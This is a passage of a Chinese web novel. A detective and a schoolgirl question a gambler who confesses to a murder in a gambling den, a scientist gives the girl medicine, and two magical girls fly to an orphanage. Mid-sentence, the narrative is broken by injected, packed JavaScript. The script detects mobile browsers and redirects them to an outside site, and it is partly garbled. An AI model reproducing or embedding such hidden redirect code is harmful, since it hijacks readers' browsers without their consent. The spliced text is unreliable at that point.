“棋牌室,或者干脆说小额赌博场所,一会您可能会看到些不堪入目的东西了。”启明星从随身箱子里翻出来一个戴滤嘴的一次性口罩,“这里的人大多数都有类似的习惯,您将就一下吧。” 犬山晓道了声谢接过口罩戴上,一瞬间空气就清新了,就连她们开始探索小巷子之后若有若无被逐渐习惯的臭味也没有了,她心想这口罩她回去自己也要买点用。 棋牌室内的空气肉眼可见的浑浊,昏暗与明亮并存,没有窗户也没有钟表,只有几盏过于刺眼的白炽灯在大白天为室内盲目的赌徒提供视野,吸引的也有蚊虫。 光是站在黏鞋底的脏白开裂瓷砖上犬山晓就觉得浑身不自在。启明星倒是没什么反应,她没有理会那些或是大呼小叫或是高声谈论的人,快速地从人堆里分辨自己要找的对象,六十七号负责隔开人型路障。 室内空间实际上并不算狭小,但桌子与桌子之间间隔实在是可怜,椅子也是那种扎屁股的小圆板凳,人多声音杂,再用烟味那么一浇灌,一锅混沌大杂烩就这样新鲜出炉了。 “这里怎么有小孩啊!?”有人看见启明星不禁感慨道,“喂!谁来把小孩带出去。” “喂!来个人把小孩带出去啊!”有人大呼小叫道,这里并不是专业的赌场,但也是有管理员的,很快就来了个穿着围裙的人挡住启明星。 “你一个小孩咋来这的?哎呦,看着怪可怜的。”看五官走势和肤色大概是东南亚地区的管理员用围裙擦着手问,“来找爸妈的?你在门口待着我去叫。” “私人开设的小型赌博场吗?”启明星喃喃自语道,抬头看向那人说,“不,不用管我,一会我就离开了。” “你这小孩说话还怪讲究的,也行,这就这一个门,你别往楼上跑,小心脚别被踩了。”那人也不管了,有人叫她,于是就转身急匆匆地离开。 启明星就继续这样用拐杖扒拉着人往前走,犬山晓就跟在二人后面也一起往里面挤,心想幸好有个口罩,而且有启明星在前面她就显得没那么显眼了。 不一会,启明星就在一张赌桌前停下了,桌旁一个看着是荷官的人还在喊着赌大赌小,四五个赌徒围着桌子坐,神情或沉默或狂热,身前多多少少堆着些筹码,塑料杯和烟灰缸沿边落座,地面落满烟灰烟头。 “那个就是。”启明星向犬山晓指出来角落里一个神情有些恍惚的人,“我先与她谈谈。” 她指着的那人缩在角落里抽着烟,烟雾模糊了她的部分存在感,但那骨架与五官分明属于一个西边国家的人。那人穿着工装背心和有些脏的工装裤,还披着件黑色外套,体魄健壮,整个人却是黑色的萎靡一坨,在角落里不言不语。 “我们要拿她怎么办?要抓起来吗?”犬山晓有些紧张。 “看她想做什么吧,而且我觉得她可能会和近期的罢工事件有关。罢工也和亚贝琉家族有关,一切都是串联的,看她能给我们带来什么新线索。”启明星说着发现手机震了震,她拿出来看了眼信息就放回去了,随后朝那人走去。 走近了就能察觉到,那人实际上身型算是魁梧的,哪怕是宽松的衣物也没能遮掩多少。她察觉到有人朝自己走来,从烟雾中偏过头一看,愣了愣。 “小孩子?哪里来的小孩子?”她感觉奇怪,“你找我的?” “是的,关于您杀害吉田川光一事,我想和您谈谈。”启明星说着,那人却没动。 “我没什么想说的,谁派一个小孩来找我?”那人神色淡漠,烟雾后的眉眼沟壑深到让其在白炽灯的照耀下融入了黑暗之中,她呼出一口烟雾。 “依您的回答决定,或许是我的雇主,我本人,或者您的债主。”启明星说。 那人抽烟的动作顿了顿,随后她依然一动不动,抽了口烟,呼出的气摸到了三人的范围内。 “随便。”她说着,嗤笑一声,“随便你们。” “…这些筹码不少了。”启明星看向那人身前的十几个筹码,拿起一个看了看,面值中等,“从去年开始您的债务就有六位数,现在利滚利,加上借债,少说也有七位数了,您做这件事有拿到如此丰厚的报酬可真是令我感到羡慕。” “哼——”那人忽然就得意了起来,眉眼扬起了些,深色的瞳孔都亮出了些,那并不是被表扬后的得意,而是另一种,更加纯正的,近乎是自豪的得意。 这就奇怪了,启明星心想,随后意识到了什么。 “哦,您没有收取杀人的报酬。”启明星恍然大悟,“您是自发地杀了吉田川光的。” 正中靶心,那人得意地笑了起来,周围有人因她过于张狂的笑看向她,但多数只是骂了些什么就没有再去管了。 “你知道我是谁吗?”那人将烟拿远了点,“科勒斯特的祖辈坐着船来这个国家的时候,我族谱上的爷爷奶奶也坐着同一条船,她们替那家伙干活,送过几次大货,我也一样。” 这个名字出现在这里,重量大到整个棋牌室都装不下,可此时那些赌徒只是偶尔有几个偏头听了一耳朵她的言语,但一点没在意,转头就忘了。室内一片嘈杂,赌徒自有信仰,轮不到她和她的祖辈来发扬光大。 阿贝尔的世界太远了,出现在这里如水池里的银龙鱼一样华丽但仅此而已。 “你与阿贝尔家族有关。”犬山晓愣了愣,她很难将眼前这个人将博蒙联系起来。 “不算是有关,我可没那么大能耐,不过最近她们家里最后那个谁被判了死刑来着。笑死了,放以前谁能想到阿贝尔家族会被法律控制?”那人幸灾乐祸地笑了起来,干裂发黑的嘴角咧的很开,脸颊抽动。 “没谈及父母辈,看来是没落了。”启明星笃定地说。 “别说那两个没用的东西。”此人忽然就暴怒了,情绪转变快到像是过山车的冲刺,“我们已经断绝关系了,别把我们放一起相提并论。” “因为你赌博欠了钱,欠了钱又赌。”启明星说。 那人手里的烟被她自己捏断了,但那只是一瞬间,她很快就恢复了原来的自得。 “确实是我杀了吉田川光。”她说,“我杀了她,我自己决定要这样做,然后自己杀的。” “你为什么这么得意啊?”犬山晓不理解道。 “你懂什么?”那人撇了犬山晓一眼,“那个冒牌货让我把她抓了,我还能不知道她在想什么?她疯了,知道吗?她打算把一切都毁了,吉田川光就是一普通人,让她说些什么还不是手到擒来的事情?” “湛让你行动的,她居然亲自来见你?”启明星了然,“你说她是冒牌货,因为你知道她并不是阿贝尔的血脉。那你还替她做事?” “…对啊,我凭什么替冒牌货做事?”那人如同陷入了极大的喜悦一般,“所以我把她杀了,杀人,你理解吗?我自己决定的。” 启明星叹了口气。周围实在是太吵了,她的叹息并没有被谁听见。 “没关系,哪怕是一坨泥巴也会有价值的。”她喃喃自语,捏了捏眉心。 “什么?”那人没听清楚。 “你,事到如今就只剩烂命一条了啊。”启明星说着,并没有在笑,那人听后却并没有产生什么反应,脸上笑容依旧。 “我的价值你们没资格批判,你以为你知道些什么就了不起了?”她不屑地说。 “我们准备去杀了亚贝琉湛。”启明星说。 “什么?”那人一愣。 “湛,你的老板,你嘴里的冒牌货,最近一大堆事的始作俑者之一。”启明星说,“我们准备去找出她,把她杀了。” “你们怎么可能做到…”那人不可置信地说。 “你的名字是?”启明星问。 “你们怎么可能做得到!她可是——”那人怒道。 “你的名字,是?”启明星重复。 “…萨尔里,亚贝琉萨尔里。”那人,也就是萨尔里回答道。 “亚贝琉,”启明星笑了一声,“萨尔里,你同意我把你交给一二三四,换取湛的下落,好让我们去杀了她吗?” 嘈杂中的这一小片区域陷入了寂静。 “你们做不到的。”萨尔里笃定地说,但犬山晓看见她的手指在颤抖。 “你需要相信我们,不信对你有什么用?”启明星说,声音没什么感情,“你不信我们,你的剩余人生中的每一刻都会想着这件事,直到你作为一坨烂泥死去。而若是你相信我们交出你的命,那未来即使是不可知的,也比现在要强。” “还是说,你实际上更想就这样活下去吗?抱着能杀人的自我肯定,一直混迹在这个工业园区,等到有一天你的列祖列宗出现说什么‘萨尔里你是家族的骄傲’,甚至科勒斯特也跳出来给你颁个奖?”启明星语速极快地问道。 “…你又懂我什么?”萨尔里沉默之后又退回了这句话之后。 “懂你绝不可能因这几个筹码就翻盘啊。”启明星随手一扇,筹码堆的倒下引来了赌徒的侧目,“不如来做点有意义的事情吧?说不定能踩湛一头,证明你过去的一切都是对的,你的父母说的那些话都是狗屁。” 萨尔里陷入了沉默。 “替你收尾的那个人,叫拉德来着。”犬山晓说,“刚才我们遇到他了,那个左半边身体是翅膀的人。” 跟着启明星的说法,犬山晓觉得自己也逐渐掌握了说话的艺术。 萨尔里肉眼可见地身体一僵。 “如果他没有逃跑的话,我就能杀了他,也能带回来些什么证据给你看了。”犬山晓想了想,“不过我们活着站在这里就能说明些什么了不是吗?” “我…”萨尔里嗓子如同干哑了一般,“不是,我,我还有——” “没有了。”启明星微笑着说,“哦,你还可以说你不想死,不过那没有用。” “我还有事要做。”萨尔里说着,仿佛在不存在的海难中找到了救星,“对,明天的罢工我必须得去!很多人都在等我,而且我也和佐崎那家伙约好了。” 佐崎辽二,码头工人工会那个已故会长,犬山晓记得这个名字。 “这样啊!”启明星一副恍然大悟的样子,“那就没办法了。” “没错!”萨尔里喜出望外。 “那就只能明天再来找你了!”启明星愉快地决定了,“那就明天再见吧!” “不是,”萨尔里慌忙站起,引来了一些注意力,“我不是说——” 但在启明星的意识下,三人已经转身就走,消失在人群里了。 “喂,跟不跟啊?”荷官看她站起来就问她。 萨尔里一言不发地看着离开的三人,眼神阴沉。 “终于出来了。”启明星一离开棋牌室就深呼吸了几下。 “终于出来了。”犬山晓摘下了口罩,但马上又戴了回去,“我们明天还要来这里吗?” “明天就不用来这里找她了,今天辛苦您了。”启明星安慰说。 “那就好。”犬山晓总算松了口气,“这个人和佐崎辽二联系还不浅。” “没错,然后佐崎辽二算是犬山家族的关系人,这样一算犬山家族也大概率是白夜社的,真是收获重大。”启明星满意地说。 三人沿着原来的路兜兜转转回到了停车场,犬山晓才把口罩摘下,随后她闻了闻衣袖,发现衣服已经染上了复合臭味。 而此时启明星从随身包里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807995|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掏出了消臭喷雾,犬山晓见了不免为其细心感动到了。 “我们先回事务所吧,需要送犬山小姐一程吗?”启明星问道。 “不用了,我从事务所走就好。”犬山晓摇了摇头。 随后三人回了启明星侦探事务所附近,犬山晓与二人告别后站在楼下望着街道久久不能回神,今天发生了很多事情,遇到了很多陌生人,但每一个她都留下了许多深刻的印象。 不知道她们怎么样了呢?犬山晓不免有些想自己的朋友们了。 这时,六十七号换了身衣服从楼里出来,看上去已经洗过澡了。 “您好!”见到犬山晓,六十七号主动问了声好。 “哦,你好。”犬山晓回过神愣了愣,“那个啊!” “有什么可以为您解答的?”六十七号停住了准备离开的脚步。 “就是说啊,”犬山晓想了想还是问了,“为什么你能把一切关于自己的事情想得那么开呢?” “哦,这件事啊。”六十七号毫不犹豫地回答了,“因为我快死了。” 风吹过街道,犬山晓轻轻吸了口气。 “可,可是,”她有些卡壳,“可是你看上去很健康,而且。” 但这些都是主观的,犬山晓意识到了这一点。 “您无需在意这些!”六十七号没有在意,“我的目标只有一个,那就是向那个人复仇,达成了这个目标之后我就不需要继续这样依靠药物活着了。” 他的笑容实在是太自然,太开朗了,没有开脱或者安慰的余地。 “这样吗。”犬山晓只能这样说。 “我还得去采购新的衣服,先告辞了。”六十七号礼貌地点头致意,随后离开了。 犬山晓看着他离开的背影,心里想的却是启明星所说的关于寿命的话题。她明白,这两个人是相反而且并未相互理解的,而同时,她也并未真正理解这两个人。 有相似的境遇不代表能相互理解吗?但是这也是因为相处的时间还不够长远吧。犬山晓这样想着,带着对未来的期待离开了事务所周边。接下来她准备去寻找克拉拉询问样本分析的结果。 两个地址之间相距间隔不远,金属门划开,那往日令嗅觉感到不适的消毒水的气息忽然就让犬山晓感到心旷神怡。 果然还是得对比啊,犬山晓这样想着抬脚走了进去。 出乎意料的是,实验室内并非只有克拉拉一人。 “未雅?”犬山晓意外地看向坐在实验室圆凳上转圈的森山寺未雅。 “先说好我没有在浑水摸鱼,我是调查结束了之后才跑过来的,在这里也并不是只是在转凳子玩而是为了更长远的考虑。”森山寺未雅从椅子上跳了下来,“下午好,晓,你穿得像个机车族,今天做掉几个了?” 克拉拉从笔记本电脑前抬起头。 “下午好!我确实有在骑机车。”犬山晓想了想说,“做掉的话算四个半个吧,都没下死手所以算半个。” “…好羡慕你波澜壮阔的一天和坦诚的人生态度。”森山寺未雅说。 “谢谢?”犬山晓有些不好意思地笑了。 “不客气。”森山寺未雅走向金属门,离开前回头摆了摆手,“下次见,克拉拉小姐,期待下一次注射。” “喂?!”克拉拉抬手想说什么,回头就看见犬山晓凝视自己的目光,“先说好她是自愿的,其次不是你想的那样!” “…可是。”犬山晓欲言又止,“首先未雅是未成年人,其次你有过前科,最后你怎么知道我在想什么的?” “就当是因为我是你监护人所以了解你好了。”克拉拉站起身原地拉伸了一下,走向犬山晓,“难得看你穿成这样,干啥去了这是?哇你身上好臭!” 说着克拉拉原地后退三步,反手抄起办公桌上的一瓶无标识喷雾隔空朝犬山晓挥洒,细碎水雾如毛絮浮空,无气味,粘向空间里的每一寸物体。 “…不好意思。”犬山晓站在原地不动任凭自己被水雾覆盖,“刚才和侦探去东流区的一个小型赌博场所找人。” “背过去。”克拉拉说,犬山晓转了个身,水雾持续喷洒,“你可不适合去那一块地方,就那块地方的成分而言,无论是人还是物都很克你吧?” “我确实不是很喜欢那里,但侦探需要我,我也需要尽快结束这一切。”犬山晓背对着克拉拉摇了摇头,“而且我学到了很多东西,也遇到了很多人。不用担心我,你知道我的优点是生命力顽强。” “我从来不担心你这点。”克拉拉放下喷雾瓶靠近犬山晓一步,确认自己可以接受气味后松了口气,“你来找我做什么?” 犬山晓抬起袖子闻了闻,原本几乎与布料融为一体的那隐隐约约的味道消失了,布料原先自有的洗涤剂香气也消失了。 “好神奇!”犬山晓感慨道,“我来问问你的分析结果,也来告诉你一些我们的分析结果。” 克拉拉若有所思,拿着笔记本电脑坐在堆满文件的桌边,犬山晓也坐下了。 “我原先的打算是结合你们带给我的样本和实验报告,修改我过去的模型和数据,以你们的体检数值作为基础研发靶向药物以结束实验研究的。”克拉拉划动屏幕,界面飞速下拉,“不过被她,刚刚走的那个激励了一下?现在我准备研发些新药物出来。” “恭喜你?”犬山晓不太理解但还是先恭喜了。 “…你完全没理解我在说什么吧?”克拉拉笑了,“那你在恭喜我什么?” “你说,你准备研发新东西,那也算是有新的目标了吧?这不值得我恭喜你吗?”犬山晓问道。 克拉拉顿了顿,回头继续看屏幕。 “那你给未雅注射的是什么?”犬山晓没有放过这个话题,“她看上去没生病,不过我也不能确定后面会不会出事。” “在你眼里我是会抓高中生试药的人吗?好吧我确实是。”克拉拉有自知之明,“不过安心吧,这次她用的是上次的改良版,也是我的半成品。” “上次的?”犬山晓愣了愣,“未雅她还在坚持接触那个特异点吗?” “她甚至不需要纸笔记录,求真但唯心的人这是我见过的第三个。”克拉拉说着,看向了犬山晓,“你们从那位侦探那里收获了什么?” “幕后黑手的存在和解决方法吧。”犬山晓想了想,“白夜社也是帮凶,所以我们现在在处理这方面的问题,以找出幕后黑手的所在位置,然后就能解决了。” “我记得你们之前的敌人还是天使这种充满宗教意义的存在吧,怎么一下子跳到这一边来了?而且据我所知那位侦探可不是最近才开始接触那些事的,我对她的朋友圈早有耳闻。那位侦探真的没有在利用你们的能力处理自己的私事吗?”克拉拉质疑道。 “有吧,不过你也是吧?”犬山晓并没有太在意这一点,“只要最后能解决这件事那帮帮忙又没什么关系,而且我确实有学到一些东西。” 说着说着,犬山晓停了下来,克拉拉沉默地盯着她看,眼镜之后绿瞳幽然。 “…怎么了?”犬山晓犹豫地问,“你生气什么?” “生气?我没有生气。”克拉拉回过头去。 但是犬山晓看着克拉拉一言不发但头越来越低的样子,知道对方就是在生气,或者说在不满些什么。她回忆自己说的话里有哪部分噎住了对方。 “你生气我说你在利用我们吗?”犬山晓不可置信地问,“你什么时候变得如此在乎自己的道德形象了?以前你被交易对象骂黑心的时候你明明很得意来着?而且你不就是这样做了吗?作为一个大人你做了难道还怕被说吗?” “我,没有在生气。”克拉拉说,“而且你少来评价我的作风啊一个下午做掉四个半个的机车族高中生。” 说完克拉拉又沉默了下来,头越来越低了。 “…我又不是主动的,都是她们先动的手。”犬山晓也有些不满了起来。 “你倒是真的有在不满这个啊?”克拉拉不可置信地抬头问,“你居然也是唯心派的吗?你年纪轻轻活得如此形式主义居然如此在乎自己的自卫合理性啊?” “我不满这个才是合理的吧?你那样说我是在凭空捏造,但我说的却都是确有其事不是吗?你到底在不满什么?”犬山晓反问。 “我没有在不满!”克拉拉终于忍受不了这争端了,她站了起来,深呼吸,白大褂上下起伏,她摘下眼镜揉了揉眉心,“我一个大人和你置气什么?” “对啊?置气什么?”犬山晓问道。 “…我该知道你会这样问的。”克拉拉叹了口气,转过身走向冰箱,从下层摸出一个药罐,又转身去另一面墙边的架子下方的储物柜翻东西,翻出来不需要的就随手扔到地上。 犬山晓看不下去了,起身去收拾那地上的东西。 “你怎么也不问我在做什么?”克拉拉头也不回地问。 “你在做什么?”犬山晓头也不抬地问。 “…你怎么还在生气啊?”克拉拉回头看了一眼犬山晓,又回过头去,“我在给你配药。” “给我?”犬山晓意外地说,“我没生病诶。” “正常小孩没生病也会打疫苗的,你没打过,谁知道你哪天就生病了?”克拉拉说,“以防万一哪天你生病了,看医生医生问你怎么没打疫苗,那时候你怎么说?” “…我不会生病的吧。”犬山晓说。 “你自己都不确定不是吗?”克拉拉终于掏出了她需要的东西,一个黑色药罐,她回头将东西摆在桌上,摸了个手套戴上就开始把冰箱里拿出的东西往黑色药罐里面倒。犬山晓将地面上的杂物都收回抽屉里,把抽屉合上了。 “所以,为了以防万一你哪天死外面了,这个药给你。”克拉拉将黑色药罐递给犬山晓,“经我调和过,会清除杂质但不会导致本该存在的被剥离,你自己看情况吃吧。药罐也是我根据之前找到的容器结构研发的,随身携带,知道了吗?” 犬山晓捧着药瓶,比寻常塑料药瓶沉很多,摇晃时没有发出内部填充物的碰撞声。 “…谢谢。”犬山晓抬头看向克拉拉,为自己被担心,被考虑,被赠予感到欣喜,“谢谢你!” “不客气。”克拉拉得意地笑了,又坐回桌边,“虽然我不认为会出现这种情况,但保险起见你得知道,这份的剂量是你专用的,而且只能口服。你的那些魔法少女朋友们不能碰,最好是闻也别让她们闻到,知道了吗?尤其是那位没来做体检的。” “艾克里普吗?”犬山晓有些惊讶,在她看来艾克里普不该会被药物影响。 “她,存在方式与人类不同。”克拉拉皱眉说,“她是否是碳基生物我还没办法确认,但我不确定她的靶点,总之别让她碰到就行。普通人也别让闻到,不是每个人生命力都和你一样顽强的知道了吗?” “知道了。”犬山晓点头,又看向克拉拉,“那你有针对我们的剂量上限研究类似的药物吗?” “怎么可能呢?”克拉拉义正严辞地说,“那当然得更速效一点才行。” “…等等。”犬山晓意识到了什么,“所以你刚才生气是因为我说的话有暗示我没有从你这里学到什么东西吗?” “好了这个话题已经结束了不要再提了。”克拉拉翻了翻桌边的杂物翻出了之前犬山晓带来的照片,“照片我也做了画质还原,不过拍的时候就没拍好,用AI尝试复原之后也没看出什么细致的东西。” “那个照片上的人都是谁我们倒是已经知道了。”犬山晓也在桌边坐下了,“是研究人员伊提,她的丈夫,天不渡真寅的儿子Matora,以及她们的女儿爱丽丝。” “这个我倒是也有猜到。”克拉拉抬起照片看向那模糊的面孔,面色如常,对自己导师一家三口的幸福时刻没有感想,“我搜了一下这个照片的可能拍摄地址,所有的房产相关信息中都没有线索指向她可能留下的东西。” “啊!说起来她留下了一段话来着。”犬山晓摸出手机,调出那段留言的照片,“上面说了去找你呢,你看看。” “怎么说得像是债务转移一样?”克拉拉接过手机看了看,冷笑一声,“还真是差不多的事,这家伙无论什么时候都是这样的不负责。” “你之前又说她什么都没给你留下就跑了,现在至少能看到她的留言不是吗?”犬山晓摸过照片,盯着看,随后她发现克拉拉又在盯着自己看了,“又怎么了?” “…没什么。”克拉拉顿了顿,说,“你喜欢那张照片?” “也不是,我应该不喜欢它才对。”犬山晓低下头,又抬起头,“但是现在我看到这张照片时会想起我妈妈。” 克拉拉很长一段时间低着头看电脑屏幕没有说话,随后,她又抬起头,“你要留着它吗?” “不。”犬山晓摇了摇头,“还是放在你这里吧,我想看的话就自己过来。” “你觉得我的实验室长得像云服务器?”克拉拉说着,叹了口气,“随便你吧。” 63.间奏-森山寺未央与有乐羽生 森山寺未央和有乐羽生约好找一天晚上回到神脉医院孤儿院查看情况。 “未雅说她不来!”森山寺未央对正在设置空间传送点的有乐羽生说。 “哦好的。”有乐羽生回应到,心想自从森山寺未雅也成为了魔法少女之后,森山寺未央几乎做什么事都会带着自己姐姐的份一起考虑,这种考虑不仅仅是带份纪念伴手礼之类的,也包括考虑责任与义务。 也就是说,森山寺未央认为,她们双胞胎姐妹的一切都是绑定的,点心也好,责任义务也好,未来也好。就连现在,森山寺未央还在对森山寺未雅不和她一起去孤儿院区域感到十分不满,自顾自地在角落里发脾气。 “未雅她变身之后是什么样的呢?”有乐羽生问道。 “她呀!我还不知道呢,按理来说应该是和我一样的,但是她的审美可能有点奇怪。”森山寺未央谈起这些事情迅速地忘记了当前的不快,“比如说比起千层蛋糕更喜欢年轮蛋糕,也更喜欢用那些可以被确定效果的魔法,这可能和她的特征有关?她的特征是预测未来哦。” “原来是预测未来,那是很厉害的魔法了呀。”有乐羽生感叹道。 “是有点厉害吧。”森山寺未央点了点头。 设置长距离的空间节点对于现在的有乐羽生来说已经不算特别难了,这次使用的还是一次性的坐标点,对魔力的消耗不算特别大,不过这只是返程用的,过去还是得靠自己。 “一会我们先攀升到高空,找准方向之后朝目的地俯冲,使用魔法消除摩擦力并且加速之后过去应该就只要一个小时多一些,而且俯冲的话消耗魔力也不会很多。”这是有乐羽生想出的远距离移动方法,她的羽翼强度已经可以带着减轻重量之后的森山寺未央飞起了。 “然后我来使用升起魔法为我们加成提升效果,有月亮存在的情况下对个体加成的魔力消耗还在我的承受范围内!”森山寺未央点了点头。 “那我们先来确认一下一会要做的事情吧。”有乐羽生想了想,说道,“先去看看那些孤儿们吧,现在孤儿院里的大部分房间应该是满的,在这种情况下可能会出现护工数量不足的问题。希望那位新的管理人有考虑这方面的问题呢。” “对哦,孤儿们的生活问题也要考虑一下,她们大多数都是残疾人,这方面会遇到我们没办法想象的困难呢。”森山寺未央说着思考了起来,“除了衣食住行,还有其它的问题能考虑的吗?” “衣食住行就是最大的问题哦,我以前有观察过福利院的资源分配,公立的孤儿院中,近一半的预算都要分给基本的生活支出。剩下的才平均分给教育支出,医疗支出,人员工资,还有其它种种。”有乐羽生有条有理地说。 “神脉医院孤儿院应该没什么教育支出,同时医疗支出也会比寻常福利院更有效率一些。不过这应该是私人制时的现象,不知道现在有没有什么区别。”森山寺未央尝试思考。 “主要就是资金来源上的区别了吧,公立福利院都是政府拔款的,私立应该是靠慈善捐赠。神脉医院有自己的产业经营着,而且之前需要靠孤儿院这里的人口支持人体实验,自然不会少了对孤儿院的拔款。”有乐羽生说。 但言下之意也有,在人体实验被终结之后,接受更多孤儿的孤儿院,有大概率反而会面对预算缩减的问题,森山寺未央很快理解了这一点。 “…博蒙被判死刑之后,她的个人资产去向如何呢?”森山寺未央认真地开始考虑这个问题,“那些孩子有可能被其它的福利院机构收留吗?” “这方面有专门的调查组和基金会,我们是无从插手的。而那些孤儿大部分都没有被收养的可能,也没有福利院会接收她们。”有乐羽生的声音很轻,她知道自己说的话很残酷,但这些就是真相,既然被问了,那她就会说。 “先去看看吧,看看情况如何。”森山寺未央做好了准备。 “嗯。”有乐羽生笑了,“总归是有我们能做的事情的,走吧。” 原本一直被隐藏于身后的羽翼在有乐羽生的两侧展开,若是以人类的体重为基础的话,要用以飞行的羽翼应该是这幅大小的几倍大,但既然羽翼本身都是魔法构成的,那在考虑其用途时便不能完全以现实的角度去思考了。 森山寺未央没有召唤出卡牌,直接使用手杖施法,魔法“升起”的效果覆盖二人的身躯,带来了极大程度上的体能和魔法使用效率的提升。 “原来是这种感觉啊。”有乐羽生感受奇特,在半空中转了一圈,“晓和艾克里普平时就是这样的感觉吧,一切都变得很流畅。” “确实啊,体能也变得很好,感觉注意力都提升了不少。”森山寺未央点了点头,对于自己的魔法效果感到满意。 “说起来,我们要怎么过去呢。”森山寺未央比划了一下。 “我背着未央就好了哦。”有乐羽生背对着森山寺未央,侧过头说。 “这样不会阻碍到飞行行动吗?”森山寺未央好奇地打量着羽翼。 “我的羽翼是我的特征,也就是施法的媒介,就和未央的手杖差不多吧,我并不是真的像鸟类一样飞起来的啦。”有乐羽生的羽翼动了动,带起了些许微风,“不过在调整飞行的方向之类的时候,倒也确实能像普通羽翼一样起到一些作用就是了。” “原来是这样。”森山寺未央有些紧张地靠近了有乐羽生,“那我要上来了哦。” “我还是第一次背别人呢,感觉好神奇哦。”有乐羽生感慨道。 “我倒是经常被别人背着。”森山寺未央双手放在有乐羽生的肩头,小心地避开发丝。 “好,我接下来要起飞了。”有乐羽生做了一个预告。 “我准备好了!”森山寺未央迅速给出反应。 背上多出一人的重量是如此奇妙,有乐羽生平时自己飞行时是近乎感受不到重量或者重力的存在的。但如果背着一个人的话,那无论如何重量的存在感都是无法被消除的。 “我会重吗?”森山寺未央感到十分紧张。 “嗯?”有乐羽生感受了一下,“说实话我不知道这算不算重,但是我觉得不算是压力哦。” 说着,她腾空而起,与往常那样近乎是飘向天空的感觉不同。因为重量的存在,飞行有了实感,熟悉的那种地面远去的视角也变得有些不同了起来。有乐羽生发现自己的头发被拢着,没有如往常那般被风狂乱而无理地刮起。 海拔越来越高,天空越来越近,城市与地面越来越远,有乐羽生背着森山寺未央飞进半空之中,与一切隔开了距离。 “好高!”森山寺未央忍不住感慨道,“羽生平时就会飞这么高吗?这真的好高啊,而且和坐飞机的感觉好不一样,空气好软,稍微有点冷!” “很有趣对吧!”有乐羽生一边继续攀升一边回应道,“这里的话,离哪里都很远,哪里都没办法触摸到我们,这里离飞机航线还有一定距离哦!” 这也是她第一次在这个地方与另一人聊天,似乎半空就该是某种独处空间,但她现在能背起另一人来到这里,与另一人分享感受是个不错的体验。 “很有趣!超有趣的!羽生有遇到过飞机吗?”森山寺未央好奇地问。 “看到过,但是没办法靠太近呢,而且飞机飞的真的很快哦。”有乐羽生笑了。 “无论是从飞机上看还是从地上看都感受不到呢!只有我们能感受到。”森山寺未央觉得这种事很好笑,就笑了。她抬头看天空,落日时分,天还留着红色,月亮依稀升起了,天空的一切都在往二人脸上撞去。 “明明都飞这么高了,为什么星星和月亮还是那么小呢?”森山寺未央说道,“羽生以后能飞到月亮上面去吗?” “如果能去的话我绝对会去的!”有乐羽生回应道,“我以前可没想过太空旅行什么的哦,但是现在偶尔就会想去了,月亮也没有那么远嘛。” “要是这个时候有陨石落下的话是不是就能搭顺风车了呢?”森山寺未央不着边际地想着。 “我们或许在别人眼里就是某种陨石了吧。”有乐羽生说,“差不多就是这里了,我们要开始俯冲了哦。” “哦哦!”森山寺未央非常激动。 上升的速度慢慢减缓了,就像是过山车刻意营造紧张感一般,有乐羽生停在了半空中。 “那里是日之森呢。”森山寺未央认出了地面上的建筑,“这样一看,日之森在这座城市里占了好大一块地方啊,都快比上大学城了。” “那里就是我家,我可以精准地落进我的房间里面去哦。”有乐羽生指着地面上的一点说。 “就像流星一样吗?”森山寺未央惊叹道。 “就像流星一样!”有乐羽生喜欢这个比喻。 有乐羽生朝远方看去,找准了方向,身体倾斜出一个角度,风又开始动了起来。 “羽生平时会去很远的地方看吗?海洋里面啊,森林山区什么的。”森山寺未央看着远处的景色好奇问道。 “其实是不会的啦,虽然说过去的话不是很难,但是,怎么说呢。”有乐羽生想了想,“那些地方太陌生了,哪怕我知道自己可以随时回家,但还是会有些害怕。” “原来是这样,我也不太敢往没有光的地方跑,尤其是海面上,晚上的海洋中间很恐怖耶,哪里都是黑色的。”森山寺未央即使没被看着也点了点头。 “没错!”有乐羽生感同身受地说,“我之前有一次没注意距离,跑到海洋中间部分的上空,反应过来的时候太阳已经完全落山了。说实话真的吓到我了,四周又安静又吵,海面好像是活过来了一样在动。” “可能是看到海怪了!或者说海里的魔物?不过羽生在这么高的地方就可以说是安全的啦,遇到海里的魔物要和大家说哦。”森山寺未央说。 “其实我在这个高度的话基本上很难察觉到魔物的魔力气息啦。”有乐羽生说道,“我如果是狩猎的话就不会飞这么高了,这个高度是巡游专属哦。” “原来是这样!像外星人一样啊。”森山寺未央感叹道。 “哈哈哈——”有乐羽生觉得很好笑,“我是外星人,把未央吸走研究喽!” “拜托放过我吧羽生大人我愿意每天上供一头牛!”森山寺未央配合地惨叫。 “比起牛本外星人更想要牛奶脆壳软糖,要生姜味道的那个!”有乐羽生说。 “口味也如此外星化吗?在地球上生活这么久一定很不容易吧!不过这么一说我都有点想尝尝这是个什么味道了,和姜撞奶会是差不多的吗?”森山寺未央浮想联翩。 “姜撞奶!我知道这个,这个很难吃!”有乐羽生说。 “那姜汁热可乐呢?”森山寺未央采访道。 “应该也会难喝吧,但是既然我知道了那我以后会尝试一下的!”有乐羽生发表感言。 “好博爱呀,地球欢迎这样的外星访客哦!”森山寺未央郑重地说。 从高处俯冲的话地面的景色并不会变化得特别快,但二人确实是在以比高速列车更快的速度前进着。 “总感觉这样的话能追上太阳了呢。”有乐羽生看着远方还没彻底落下的橙红色。 “哦哦,就是那个吧。”森山寺未央有所感触,“今天坐上飞机飞了十几个小时睁开眼看时间发现还是在今天,这种感觉?” “不是哦,是在北极圈度过了超漫长的一天后回家拉开窗帘发现天还是亮的,这种感觉。”有乐羽生说。 “是时间魔法和空间魔法的区别呢!”森山寺未央若有所思。 “我还以为会说是时区和地理位置的区别?”有乐羽生说。 “等我以后堕入了研究学者无间地狱之后也会变成能说出这样的话的大人吧。”森山寺未央说着,语气里带着些惆怅。 “诶?变成了那样的人之后请也继续支持魔法少女事业哦!”有乐羽生提醒道。 